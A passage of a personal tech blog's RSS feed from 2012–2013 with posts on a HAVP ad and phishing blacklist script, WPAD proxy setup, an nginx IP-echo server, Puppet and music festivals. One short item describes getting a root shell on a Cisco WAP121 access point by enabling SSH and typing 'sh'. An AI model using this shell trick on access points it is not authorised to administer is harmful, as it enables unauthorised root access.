  8064.    <link>https://blog.x-way.org/Linux/2013/01/05/Nice-looking-templates-for-HAVP.html</link>
  8065.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324192</guid>
  8066.    <dc:creator>Andreas Jaggi</dc:creator>
  8067.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  8068.    <pubDate>Sat, 05 Jan 2013 00:14:00 +0100</pubDate>
  8069.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  8070.    <description><![CDATA[<p>Since the default templates of HAVP look like being stuck in the 90's, I created some nice-looking templates.<br>
  8071. You can download them from GitHub: <a href="https://github.com/x-way/havp-templates" title="x-way/havp-templates">https://github.com/x-way/havp-templates</a><br>Currently there is only the german version, feel free to send me a pull-request with another translation :-)</p>
  8072. <p><a href="https://blog.x-way.org/images/havp-templates-screenshot.png"><img src="https://blog.x-way.org/images/havp-templates-thumb.png" alt="havp-templates screenshot" width="306" height="116"></a></p>
  8073. ]]></description>
  8074.    <content:encoded><![CDATA[<p>Since the default templates of HAVP look like being stuck in the 90's, I created some nice-looking templates.<br>
  8075. You can download them from GitHub: <a href="https://github.com/x-way/havp-templates" title="x-way/havp-templates">https://github.com/x-way/havp-templates</a><br>Currently there is only the german version, feel free to send me a pull-request with another translation :-)</p>
  8076. <p><a href="https://blog.x-way.org/images/havp-templates-screenshot.png"><img src="https://blog.x-way.org/images/havp-templates-thumb.png" alt="havp-templates screenshot" width="306" height="116"></a></p>
  8077. ]]></content:encoded>
  8078.  </item>
  8079.  
  8080.  <item>
  8081.    <title>HAVP PhishTank and Adserver Blacklist</title>
  8082.    <link>https://blog.x-way.org/Linux/2013/01/01/HAVP-PhishTank-and-Adserver-Blacklist.html</link>
  8083.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324191</guid>
  8084.    <dc:creator>Andreas Jaggi</dc:creator>
  8085.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  8086.    <pubDate>Tue, 01 Jan 2013 12:50:00 +0100</pubDate>
  8087.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  8088.    <description><![CDATA[<p>For basic virus protection I'm running a proxy with <a href="http://www.server-side.de/" title="HTTP Anti-Virus Proxy">HAVP</a> and <a href="http://www.clamav.net/" title="Clam AntiVirus">ClamAV</a>.<br>
  8089. Since some time I was using HAVPs blacklist functionality to block Ads (by blacklisting *.doubleclick.net and *.ivwbox.de).
  8090. As such a manual blacklist is not very efficient I wanted to have an auto-updating list of adservers, thus I started to write the shellscript below which generates an up-to-date blacklist based on the adserverlist from <a href="http://pgl.yoyo.org/adservers/" title="pgl.yoyo.org">pgl.yoyo.org</a>.</p>
  8091. <p>Shortly after this I extended the script to also incorporate a Phising blacklist based on the data from <a href="http://www.phishtank.com/" title="PhishTank">PhishTank</a>.<br>
  8092. Currently I'm using the version below which runs in a cronjob every two hours and keeps the HAVP blacklist up-to-date. Please note that you need to insert your own free PhishTank API key when using this script.</p>
  8093. <pre>
  8094. #!/bin/sh
  8095.  
  8096. cd /etc/havp
  8097.  
  8098. OUTFILE=/etc/havp/blacklist
  8099.  
  8100. ADSERVERLIST=/etc/havp/adserverlist
  8101. PHISHTANK=/etc/havp/phishtank
  8102. MYBLACKLIST=/etc/havp/myblacklist
  8103.  
  8104. wget -q -N "http://pgl.yoyo.org/adservers/serverlist.php?hostformat=webwasher;showintro=0;mimetype=plaintext"
  8105. sed -e 's_^//_#_g' serverlist.php* | sort | uniq &gt; $ADSERVERLIST
  8106.  
  8107. wget -q -N http://data.phishtank.com/data/&lt;PhishTank API key&gt;/online-valid.csv.bz2
  8108. bzcat online-valid.csv.bz2 | sed \
  8109. -e 's/^[0-9]*,//' \
  8110. -e 's@,http://www.phishtank.com/phish_detail.php?phish_id=[0-9]*,.*$@@' \
  8111. -e 's/^"\(.*\)"$/\1/'  \
  8112. -e 's_^https\?://__' \
  8113. -e 's_/$_/*_' \
  8114. -e 's_^\([^/]*\)$_\1/*_' \
  8115. -e 's/?.*/*/' | \
  8116. grep -vF 'phish_id,url,phish_detail_url,submission_time,verified,verification_time,online,target' | \
  8117. iconv -f utf8 -t ascii -c - | sort | uniq &gt; $PHISHTANK
  8118.  
  8119.  
  8120. echo "# blacklist file generated by $0, `date`" &gt; $OUTFILE
  8121.  
  8122. echo "\n# MYBLACKLIST:" &gt;&gt; $OUTFILE
  8123. cat $MYBLACKLIST &gt;&gt; $OUTFILE
  8124.  
  8125. echo "\n# ADSERVERLIST:" &gt;&gt; $OUTFILE
  8126. cat $ADSERVERLIST &gt;&gt; $OUTFILE
  8127.  
  8128. echo "\n# PHISHTANK:" &gt;&gt; $OUTFILE
  8129. cat $PHISHTANK &gt;&gt; $OUTFILE
  8130. </pre>
  8131. ]]></description>
  8132.    <content:encoded><![CDATA[<p>For basic virus protection I'm running a proxy with <a href="http://www.server-side.de/" title="HTTP Anti-Virus Proxy">HAVP</a> and <a href="http://www.clamav.net/" title="Clam AntiVirus">ClamAV</a>.<br>
  8133. Since some time I was using HAVPs blacklist functionality to block Ads (by blacklisting *.doubleclick.net and *.ivwbox.de).
  8134. As such a manual blacklist is not very efficient I wanted to have an auto-updating list of adservers, thus I started to write the shellscript below which generates an up-to-date blacklist based on the adserverlist from <a href="http://pgl.yoyo.org/adservers/" title="pgl.yoyo.org">pgl.yoyo.org</a>.</p>
  8135. <p>Shortly after this I extended the script to also incorporate a Phising blacklist based on the data from <a href="http://www.phishtank.com/" title="PhishTank">PhishTank</a>.<br>
  8136. Currently I'm using the version below which runs in a cronjob every two hours and keeps the HAVP blacklist up-to-date. Please note that you need to insert your own free PhishTank API key when using this script.</p>
  8137. <pre>
  8138. #!/bin/sh
  8139.  
  8140. cd /etc/havp
  8141.  
  8142. OUTFILE=/etc/havp/blacklist
  8143.  
  8144. ADSERVERLIST=/etc/havp/adserverlist
  8145. PHISHTANK=/etc/havp/phishtank
  8146. MYBLACKLIST=/etc/havp/myblacklist
  8147.  
  8148. wget -q -N "http://pgl.yoyo.org/adservers/serverlist.php?hostformat=webwasher;showintro=0;mimetype=plaintext"
  8149. sed -e 's_^//_#_g' serverlist.php* | sort | uniq &gt; $ADSERVERLIST
  8150.  
  8151. wget -q -N http://data.phishtank.com/data/&lt;PhishTank API key&gt;/online-valid.csv.bz2
  8152. bzcat online-valid.csv.bz2 | sed \
  8153. -e 's/^[0-9]*,//' \
  8154. -e 's@,http://www.phishtank.com/phish_detail.php?phish_id=[0-9]*,.*$@@' \
  8155. -e 's/^"\(.*\)"$/\1/'  \
  8156. -e 's_^https\?://__' \
  8157. -e 's_/$_/*_' \
  8158. -e 's_^\([^/]*\)$_\1/*_' \
  8159. -e 's/?.*/*/' | \
  8160. grep -vF 'phish_id,url,phish_detail_url,submission_time,verified,verification_time,online,target' | \
  8161. iconv -f utf8 -t ascii -c - | sort | uniq &gt; $PHISHTANK
  8162.  
  8163.  
  8164. echo "# blacklist file generated by $0, `date`" &gt; $OUTFILE
  8165.  
  8166. echo "\n# MYBLACKLIST:" &gt;&gt; $OUTFILE
  8167. cat $MYBLACKLIST &gt;&gt; $OUTFILE
  8168.  
  8169. echo "\n# ADSERVERLIST:" &gt;&gt; $OUTFILE
  8170. cat $ADSERVERLIST &gt;&gt; $OUTFILE
  8171.  
  8172. echo "\n# PHISHTANK:" &gt;&gt; $OUTFILE
  8173. cat $PHISHTANK &gt;&gt; $OUTFILE
  8174. </pre>
  8175. ]]></content:encoded>
  8176.  </item>
  8177.  
  8178.  <item>
  8179.    <title>Automatic Proxy Configuration via DHCP</title>
  8180.    <link>https://blog.x-way.org/Networking/2012/12/30/Automatic-Proxy-Configuration-via-DHCP.html</link>
  8181.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324190</guid>
  8182.    <dc:creator>Andreas Jaggi</dc:creator>
  8183.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  8184.    <pubDate>Sun, 30 Dec 2012 19:39:00 +0100</pubDate>
  8185.    <category domain="https://blog.x-way.org/Networking/">Networking</category>
  8186.    <description><![CDATA[<p>To avoid the timeconsuming manual configuration of a proxy server on all computers, phones and tablets, the proxy configuration can be provided automatically via DHCP by using <a href="http://en.wikipedia.org/wiki/Web_Proxy_Autodiscovery_Protocol" title="Web Proxy Autodiscovery Protocol">WPAD</a>.</p>
  8187. <p>For this setup, the following components are needed:</p>
  8188. <ol>
  8189. <li>A DHCP server which announces DHCP option 252 with the URL of the <a href="http://en.wikipedia.org/wiki/Proxy_auto-config" title="Proxy auto config">PAC</a> file (wpad.dat).</li>
  8190. <li>A webserver which serves the wpad.dat file</li>
  8191. <li>A wpad.dat PAC file where the Proxy IP is defined</li>
  8192. </ol>
  8193.  
  8194. <p>On a MikroTik system, the DHCP server configuration looks like this:</p>
  8195. <pre>
  8196. /ip dhcp-server option
  8197. add code=252 name=local-pac-server value="http://192.168.0.2:80/wpad.dat\?"
  8198. /ip dhcp-server network
  8199. add address=192.168.0.0/24 dhcp-option=local-pac-server dns-server=192.168.0.1 gateway=192.168.0.1 netmask=24
  8200. </pre>
  8201. <p>Please note the trailing questionmark in the URL for the PAC file. This is a workaround for yet another occurrence of RFC nitpicking where some implementations might misinterpret the DHCP option and add an encoded NULL-byte character to the end of the URL when requesting the PAC file from the webserver.<br>With the questinmark at the end of the URL, any additional trailing NULL-byte character will be ignored by the webserver and the PAC file will be loaded just fine.</p>
  8202.  
  8203. <p>Following the example above, on the machine 192.168.0.2, we serve the following <var>wpad.dat</var> file:</p>
  8204. <pre>
  8205. function FindProxyForURL ( url, host ) {
  8206. return "PROXY 1.2.3.4:8080; DIRECT";
  8207. }
  8208. </pre>
  8209.  
  8210. <p>With this setup, all systems will use the proxy at 1.2.3.4 and if the proxy is not available try to connect directly to the Internet.<br>
  8211. While this is fine for a home network where the proxy is mostly used for adblocking, you probably want to remove the <var>DIRECT</var> part in an enterprise setup.</p>
  8212. ]]></description>
  8213.    <content:encoded><![CDATA[<p>To avoid the timeconsuming manual configuration of a proxy server on all computers, phones and tablets, the proxy configuration can be provided automatically via DHCP by using <a href="http://en.wikipedia.org/wiki/Web_Proxy_Autodiscovery_Protocol" title="Web Proxy Autodiscovery Protocol">WPAD</a>.</p>
  8214. <p>For this setup, the following components are needed:</p>
  8215. <ol>
  8216. <li>A DHCP server which announces DHCP option 252 with the URL of the <a href="http://en.wikipedia.org/wiki/Proxy_auto-config" title="Proxy auto config">PAC</a> file (wpad.dat).</li>
  8217. <li>A webserver which serves the wpad.dat file</li>
  8218. <li>A wpad.dat PAC file where the Proxy IP is defined</li>
  8219. </ol>
  8220.  
  8221. <p>On a MikroTik system, the DHCP server configuration looks like this:</p>
  8222. <pre>
  8223. /ip dhcp-server option
  8224. add code=252 name=local-pac-server value="http://192.168.0.2:80/wpad.dat\?"
  8225. /ip dhcp-server network
  8226. add address=192.168.0.0/24 dhcp-option=local-pac-server dns-server=192.168.0.1 gateway=192.168.0.1 netmask=24
  8227. </pre>
  8228. <p>Please note the trailing questionmark in the URL for the PAC file. This is a workaround for yet another occurrence of RFC nitpicking where some implementations might misinterpret the DHCP option and add an encoded NULL-byte character to the end of the URL when requesting the PAC file from the webserver.<br>With the questinmark at the end of the URL, any additional trailing NULL-byte character will be ignored by the webserver and the PAC file will be loaded just fine.</p>
  8229.  
  8230. <p>Following the example above, on the machine 192.168.0.2, we serve the following <var>wpad.dat</var> file:</p>
  8231. <pre>
  8232. function FindProxyForURL ( url, host ) {
  8233. return "PROXY 1.2.3.4:8080; DIRECT";
  8234. }
  8235. </pre>
  8236.  
  8237. <p>With this setup, all systems will use the proxy at 1.2.3.4 and if the proxy is not available try to connect directly to the Internet.<br>
  8238. While this is fine for a home network where the proxy is mostly used for adblocking, you probably want to remove the <var>DIRECT</var> part in an enterprise setup.</p>
  8239. ]]></content:encoded>
  8240.  </item>
  8241.  
  8242.  <item>
  8243.    <title>Stripe CTF 2.0</title>
  8244.    <link>https://blog.x-way.org/Networking/2012/08/28/Stripe-CTF-2.0.html</link>
  8245.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324189</guid>
  8246.    <dc:creator>Andreas Jaggi</dc:creator>
  8247.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  8248.    <pubDate>Tue, 28 Aug 2012 11:23:00 +0200</pubDate>
  8249.    <category domain="https://blog.x-way.org/Networking/">Networking</category>
  8250.    <description><![CDATA[<p><a href="#" class="gone" title="Stripe: Capture The Flag"><img src="https://blog.x-way.org/images/stripe-ctf.png" height="274" width="387" alt="Stripe: Capture The Flag"></a></p>
  8251. ]]></description>
  8252.    <content:encoded><![CDATA[<p><a href="#" class="gone" title="Stripe: Capture The Flag"><img src="https://blog.x-way.org/images/stripe-ctf.png" height="274" width="387" alt="Stripe: Capture The Flag"></a></p>
  8253. ]]></content:encoded>
  8254.  </item>
  8255.  
  8256.  <item>
  8257.    <title>icanhazip.com clone with nginx</title>
  8258.    <link>https://blog.x-way.org/Linux/2012/08/05/icanhazip.com-clone-with-nginx.html</link>
  8259.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324188</guid>
  8260.    <dc:creator>Andreas Jaggi</dc:creator>
  8261.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  8262.    <pubDate>Sun, 05 Aug 2012 23:58:00 +0200</pubDate>
  8263.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  8264.    <description><![CDATA[<p>Thanks to the <a href="https://github.com/openresty/echo-nginx-module" title="HttpEchoModule">ngx_echo</a> module, it is trivially easy to build a clone of the <a href="http://icanhazip.com" title="icanhazip.com">icanhazip.com</a> service with <a href="http://www.nginx.org/" title="nginx">nginx</a>:</p>
  8265. <pre>
  8266. server {
  8267. listen 80;
  8268. listen [::]:80;
  8269.  
  8270. location / {
  8271. echo $remote_addr;
  8272. }  
  8273. }
  8274. </pre>
  8275. ]]></description>
  8276.    <content:encoded><![CDATA[<p>Thanks to the <a href="https://github.com/openresty/echo-nginx-module" title="HttpEchoModule">ngx_echo</a> module, it is trivially easy to build a clone of the <a href="http://icanhazip.com" title="icanhazip.com">icanhazip.com</a> service with <a href="http://www.nginx.org/" title="nginx">nginx</a>:</p>
  8277. <pre>
  8278. server {
  8279. listen 80;
  8280. listen [::]:80;
  8281.  
  8282. location / {
  8283. echo $remote_addr;
  8284. }  
  8285. }
  8286. </pre>
  8287. ]]></content:encoded>
  8288.  </item>
  8289.  
  8290.  <item>
  8291.    <title>How to get a Rootshell on a Cisco WAP121</title>
  8292.    <link>https://blog.x-way.org/Networking/2012/08/05/How-to-get-a-Rootshell-on-a-Cisco-WAP121.html</link>
  8293.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324187</guid>
  8294.    <dc:creator>Andreas Jaggi</dc:creator>
  8295.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  8296.    <pubDate>Sun, 05 Aug 2012 20:02:00 +0200</pubDate>
  8297.    <category domain="https://blog.x-way.org/Networking/">Networking</category>
  8298.    <description><![CDATA[<p>The <a href="http://www.cisco.com/en/US/products/ps12250/index.html" title="Cisco WAP121 Wireless-N Access Point with PoE">Cisco WAP121</a> runs a Linux based firmware. This is how you get a Rootshell on it:</p>
  8299. <ol>
  8300. <li>Login to the Web GUI of the WAP121 and enable the SSH management access</li>
  8301. <li>Login with SSH and enter this command: <code >sh</code></li>
  8302. </ol>
  8303. <p>
  8304. This probably works with the Cisco WAP321 as well (I only tested with the WAP121).<br>
  8305. Also when having still only the one 'cisco' user account configured you can directly get a Rootshell via SSH like this: <code>ssh -l root@&lt;WAP121 IP&gt;</code>
  8306. </p>
  8307. ]]></description>
  8308.    <content:encoded><![CDATA[<p>The <a href="http://www.cisco.com/en/US/products/ps12250/index.html" title="Cisco WAP121 Wireless-N Access Point with PoE">Cisco WAP121</a> runs a Linux based firmware. This is how you get a Rootshell on it:</p>
  8309. <ol>
  8310. <li>Login to the Web GUI of the WAP121 and enable the SSH management access</li>
  8311. <li>Login with SSH and enter this command: <code >sh</code></li>
  8312. </ol>
  8313. <p>
  8314. This probably works with the Cisco WAP321 as well (I only tested with the WAP121).<br>
  8315. Also when having still only the one 'cisco' user account configured you can directly get a Rootshell via SSH like this: <code>ssh -l root@&lt;WAP121 IP&gt;</code>
  8316. </p>
  8317. ]]></content:encoded>
  8318.  </item>
  8319.  
  8320.  <item>
  8321.    <title>Artiphys 2012</title>
  8322.    <link>https://blog.x-way.org/Badges/2012/03/31/Artiphys-2012.html</link>
  8323.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324186</guid>
  8324.    <dc:creator>Andreas Jaggi</dc:creator>
  8325.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  8326.    <pubDate>Sat, 31 Mar 2012 09:04:00 +0200</pubDate>
  8327.    <category domain="https://blog.x-way.org/Badges/">Badges</category>
  8328.    <description><![CDATA[<p>After the summer festivals of Sydney, now also the festivals in Switzerland start again.<br>First one this year: <a href="http://www.artiphys.ch/" title="Festival Artiphys">Artiphys 2012</a></p>
  8329. <p><img src="https://blog.x-way.org/images/badges/Artiphys_2012.jpeg" alt="Artiphys 2012" height="312" width="225"></p>
  8330. <p><img src="https://blog.x-way.org/images/badges/Artiphys_2012_Artist.jpeg" alt="Artiphys 2012" height="316" width="227"></p>
  8331. ]]></description>
  8332.    <content:encoded><![CDATA[<p>After the summer festivals of Sydney, now also the festivals in Switzerland start again.<br>First one this year: <a href="http://www.artiphys.ch/" title="Festival Artiphys">Artiphys 2012</a></p>
  8333. <p><img src="https://blog.x-way.org/images/badges/Artiphys_2012.jpeg" alt="Artiphys 2012" height="312" width="225"></p>
  8334. <p><img src="https://blog.x-way.org/images/badges/Artiphys_2012_Artist.jpeg" alt="Artiphys 2012" height="316" width="227"></p>
  8335. ]]></content:encoded>
  8336.  </item>
  8337.  
  8338.  <item>
  8339.    <title>Fix empty Puppet lsbdistcodename on Debian</title>
  8340.    <link>https://blog.x-way.org/Linux/2012/02/14/Fix-empty-puppet-lsbdistcodename-on-Debian.html</link>
  8341.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324184</guid>
  8342.    <dc:creator>Andreas Jaggi</dc:creator>
  8343.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  8344.    <pubDate>Tue, 14 Feb 2012 13:15:00 +0100</pubDate>
  8345.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  8346.    <description><![CDATA[<p>While playing around with my <a href="http://puppetlabs.com/" title="Puppet Labs: The Leading IT Automation Software Solution">Puppet</a> configuration I discovered that the 'system facts' returned by the <a href="http://puppetlabs.com/puppet/related-projects/facter/" title="The Facter Program Quickly Gathers Basic Node Information">Facter</a> helper tool were not consistent on my Debian boxes.</p>
  8347. <p>On some machines Facter properly reported all <a href="http://www.linuxfoundation.org/collaborate/workgroups/lsb" title="Linux Standard Base">LSB</a> related facts of the system, while on other machines it did not report any such information.<br>The problem occurred on about 50% of the hosts, so I excluded a bug introduced by manual over-tuning of the system configuration.</p>
  8348. <p>Further investigation showed that Facter uses the <code>lsb_release</code> command to collect the LSB information of the system.<br>On Debian this command is provided by the <code>lsb-release</code> package which was only installed on half of my systems...</p>
  8349. <p>Now my Puppet manifests include the following configuration directive which should prevent this problem in the future :-)</p>
  8350. <pre>
  8351. package { 'lsb-release':
  8352. ensure => installed,
  8353. }
  8354. </pre>
  8355. ]]></description>
  8356.    <content:encoded><![CDATA[<p>While playing around with my <a href="http://puppetlabs.com/" title="Puppet Labs: The Leading IT Automation Software Solution">Puppet</a> configuration I discovered that the 'system facts' returned by the <a href="http://puppetlabs.com/puppet/related-projects/facter/" title="The Facter Program Quickly Gathers Basic Node Information">Facter</a> helper tool were not consistent on my Debian boxes.</p>
  8357. <p>On some machines Facter properly reported all <a href="http://www.linuxfoundation.org/collaborate/workgroups/lsb" title="Linux Standard Base">LSB</a> related facts of the system, while on other machines it did not report any such information.<br>The problem occurred on about 50% of the hosts, so I excluded a bug introduced by manual over-tuning of the system configuration.</p>
  8358. <p>Further investigation showed that Facter uses the <code>lsb_release</code> command to collect the LSB information of the system.<br>On Debian this command is provided by the <code>lsb-release</code> package which was only installed on half of my systems...</p>
  8359. <p>Now my Puppet manifests include the following configuration directive which should prevent this problem in the future :-)</p>
  8360. <pre>
  8361. package { 'lsb-release':
  8362. ensure => installed,
  8363. }
  8364. </pre>
  8365. ]]></content:encoded>
  8366.  </item>
  8367.  
  8368.  <item>
  8369.    <title>Big Day Out</title>
  8370.    <link>https://blog.x-way.org/Music/2012/01/29/Big-Day-Out.html</link>
  8371.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324183</guid>
  8372.    <dc:creator>Andreas Jaggi</dc:creator>
  8373.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  8374.    <pubDate>Sun, 29 Jan 2012 13:28:00 +0100</pubDate>
  8375.    <category domain="https://blog.x-way.org/Music/">Music</category>
  8376.    <description><![CDATA[<p>One advantage of being in Australia during the swiss winter is that you can go to music festivals in January! And so I did :-)</p>
  8377. <p>
  8378. Last thursday I went to the <a href="https://web.archive.org/web/20120130215810/https://www.bigdayout.com/" title="Big Day Out (archive.org)">Big Day Out</a> festival in <a href="https://web.archive.org/web/20120204011324/http://sydney.bigdayout.com/" title="Big Day Out Sydney 2012 (archive.org)">Sydney</a>.<br>
  8379. What is interesting compared to festivals in Europe is that in Australia the festival starts at 11 in the morning and ends at 11:45 in the evening, whereas in Switzerland festivals start around 5 in the afternoon and end around 5-6 in the morning.</p>
  8380. <p>I really liked the performances of <a href="http://www.parkwaydriverock.com/" title="Parkway Drive">Parkway Drive</a>, <a href="http://www.misskittin.com/" title="MissKittin's Tree">Miss Kittin</a>, <a href="http://royksopp.com/" title="Röyksopp">Röyksopp</a>, <a href="http://www.bassnectar.net/" title="BASSNECTAR">Bassnectar</a>, <a href="http://www.kasabian.co.uk/" title="Kasabian">Kasabian</a>, <a href="http://www.soundgardenworld.com/" title="Soundgarden World">Soundgarden</a> and <a href="https://web.archive.org/web/20120127034133/regurgitator.net/" title="Regurgitator">Regurgitator</a>.<br>
  8381. Also it was nice to catch a glimpse of <a href="http://www.thejezabels.com/" title="The Jezabels">The Jezabels</a>, <a href="https://hilltophoods.com" title="HILLTOP HOODS : I LOVE IT">Hilltop Hoods</a>, <a href="http://kittydaisyandlewis.com/" title="kittydaisyandlewis">Kitty, Daisy &amp; Lewis</a> and the show of <a href="https://web.archive.org/web/20120201193949/http://kanyewest.com/" title="Kayne West (archive.org)">Kayne West</a>.<br>
  8382. A bit disapointing was the performance of <a href="https://web.archive.org/web/20120207185623/https://www.cavaleraconspiracy.com/" title="Cavalera Conspiracy (archive.org)">Cavalera Conspiracy</a>. They even had to fallback to popular <a href="https://web.archive.org/web/20120213114918/http://www.sepultura.com/" title="SEPULTURA.COM (archive.org)">Sepultura</a> songs (<a href="http://www.youtube.com/watch?v=6ODNxy3YOPU" title="Sepultura - Refuse/Resist">Refuse/Resist</a>, <a href="http://www.youtube.com/watch?v=F_6IjeprfEs" title="Sepultura - Roots Bloody Roots">Roots Bloody Roots</a>) in order to get the crowd moving. On the other hand it was lucky for me, so I got to see a live concert of Sepultura (performed by the founders of Sepultura!), something I didn't think I would ever see after Max Cavalera had left the band.<br>
  8383. Unfortunately the last train back was before the end of the festival and so I did miss <a href="https://web.archive.org/web/20120131113223/http://www.thisisnero.com/" title="This Is Nero (archive.org)">Nero</a>.</p>
  8384.  
  8385. <p>
  8386. <img src="https://blog.x-way.org/images/bigdayout_pineapple_drink.jpg" alt="Big Day Out branded Pineapple Drink" height="512" width="384">
  8387. <img src="https://blog.x-way.org/images/bigdayout_mainstages.jpg" alt="Big Day Out Sydney Olympic Park Mainstages" height="384" width="512">
  8388. <img src="https://blog.x-way.org/images/bigdayout_ferris_wheel.jpg" alt="Big Day Out Ferris Wheel inside the 'Boiler Room' hall" height="512" width="384">
  8389. <img src="https://blog.x-way.org/images/bigdayout_misskittin.jpg" alt="Miss Kittin @ Big Day Out" height="384" width="512">
  8390. <img src="https://blog.x-way.org/images/bigdayout_happybeer.jpg" alt="Happy Beer @ Big Day Out" height="512" width="384">
  8391. <img src="https://blog.x-way.org/images/bigdayout_regurgitator.jpg" alt="Regurgitator @ Big Day Out" height="384" width="512">
  8392. <img src="https://blog.x-way.org/images/bigdayout_cavalera_conspiracy.jpg" alt="Cavalera Conspiracy @ Big Day Out" height="512" width="384">
  8393. </p>
  8394. ]]></description>
  8395.    <content:encoded><![CDATA[<p>One advantage of being in Australia during the swiss winter is that you can go to music festivals in January! And so I did :-)</p>
  8396. <p>
  8397. Last thursday I went to the <a href="https://web.archive.org/web/20120130215810/https://www.bigdayout.com/" title="Big Day Out (archive.org)">Big Day Out</a> festival in <a href="https://web.archive.org/web/20120204011324/http://sydney.bigdayout.com/" title="Big Day Out Sydney 2012 (archive.org)">Sydney</a>.<br>
  8398. What is interesting compared to festivals in Europe is that in Australia the festival starts at 11 in the morning and ends at 11:45 in the evening, whereas in Switzerland festivals start around 5 in the afternoon and end around 5-6 in the morning.</p>
  8399. <p>I really liked the performances of <a href="http://www.parkwaydriverock.com/" title="Parkway Drive">Parkway Drive</a>, <a href="http://www.misskittin.com/" title="MissKittin's Tree">Miss Kittin</a>, <a href="http://royksopp.com/" title="Röyksopp">Röyksopp</a>, <a href="http://www.bassnectar.net/" title="BASSNECTAR">Bassnectar</a>, <a href="http://www.kasabian.co.uk/" title="Kasabian">Kasabian</a>, <a href="http://www.soundgardenworld.com/" title="Soundgarden World">Soundgarden</a> and <a href="https://web.archive.org/web/20120127034133/regurgitator.net/" title="Regurgitator">Regurgitator</a>.<br>
  8400. Also it was nice to catch a glimpse of <a href="http://www.thejezabels.com/" title="The Jezabels">The Jezabels</a>, <a href="https://hilltophoods.com" title="HILLTOP HOODS : I LOVE IT">Hilltop Hoods</a>, <a href="http://kittydaisyandlewis.com/" title="kittydaisyandlewis">Kitty, Daisy &amp; Lewis</a> and the show of <a href="https://web.archive.org/web/20120201193949/http://kanyewest.com/" title="Kayne West (archive.org)">Kayne West</a>.<br>
  8401. A bit disapointing was the performance of <a href="https://web.archive.org/web/20120207185623/https://www.cavaleraconspiracy.com/" title="Cavalera Conspiracy (archive.org)">Cavalera Conspiracy</a>. They even had to fallback to popular <a href="https://web.archive.org/web/20120213114918/http://www.sepultura.com/" title="SEPULTURA.COM (archive.org)">Sepultura</a> songs (<a href="http://www.youtube.com/watch?v=6ODNxy3YOPU" title="Sepultura - Refuse/Resist">Refuse/Resist</a>, <a href="http://www.youtube.com/watch?v=F_6IjeprfEs" title="Sepultura - Roots Bloody Roots">Roots Bloody Roots</a>) in order to get the crowd moving. On the other hand it was lucky for me, so I got to see a live concert of Sepultura (performed by the founders of Sepultura!), something I didn't think I would ever see after Max Cavalera had left the band.<br>
  8402. Unfortunately the last train back was before the end of the festival and so I did miss <a href="https://web.archive.org/web/20120131113223/http://www.thisisnero.com/" title="This Is Nero (archive.org)">Nero</a>.</p>
  8403.  
  8404. <p>
  8405. <img src="https://blog.x-way.org/images/bigdayout_pineapple_drink.jpg" alt="Big Day Out branded Pineapple Drink" height="512" width="384">
  8406. <img src="https://blog.x-way.org/images/bigdayout_mainstages.jpg" alt="Big Day Out Sydney Olympic Park Mainstages" height="384" width="512">
  8407. <img src="https://blog.x-way.org/images/bigdayout_ferris_wheel.jpg" alt="Big Day Out Ferris Wheel inside the 'Boiler Room' hall" height="512" width="384">
  8408. <img src="https://blog.x-way.org/images/bigdayout_misskittin.jpg" alt="Miss Kittin @ Big Day Out" height="384" width="512">
  8409. <img src="https://blog.x-way.org/images/bigdayout_happybeer.jpg" alt="Happy Beer @ Big Day Out" height="512" width="384">
  8410. <img src="https://blog.x-way.org/images/bigdayout_regurgitator.jpg" alt="Regurgitator @ Big Day Out" height="384" width="512">
  8411. <img src="https://blog.x-way.org/images/bigdayout_cavalera_conspiracy.jpg" alt="Cavalera Conspiracy @ Big Day Out" height="512" width="384">
  8412. </p>
  8413. ]]></content:encoded>
  8414.  </item>
  8415.  
  8416.  <item>
  8417.    <title>Keren Ann</title>
  8418.    <link>https://blog.x-way.org/Music/2012/01/15/Keren-Ann.html</link>
  8419.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324182</guid>
  8420.    <dc:creator>Andreas Jaggi</dc:creator>
  8421.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  8422.    <pubDate>Sun, 15 Jan 2012 12:52:00 +0100</pubDate>
  8423.    <category domain="https://blog.x-way.org/Music/">Music</category>
  8424.    <description><![CDATA[<p>Listening to <a href="http://www.kerenann.com/" title="Keren Ann">Keren Ann</a> is just perfect when you have to work on a rainy Sunday.<br>Thank you <a href="http://www.metropop.ch/" title="Metropop Festival Lausanne">Metropop</a> for showing me her music.</p>
  8425. <p><a href="https://youtu.be/R-0Qx8HwlW4" title="Keren Ann - My name is trouble - YouTube">Keren Ann - My name is trouble</a></p>
  8426. ]]></description>
  8427.    <content:encoded><![CDATA[<p>Listening to <a href="http://www.kerenann.com/" title="Keren Ann">Keren Ann</a> is just perfect when you have to work on a rainy Sunday.<br>Thank you <a href="http://www.metropop.ch/" title="Metropop Festival Lausanne">Metropop</a> for showing me her music.</p>
  8428. <p><a href="https://youtu.be/R-0Qx8HwlW4" title="Keren Ann - My name is trouble - YouTube">Keren Ann - My name is trouble</a></p>
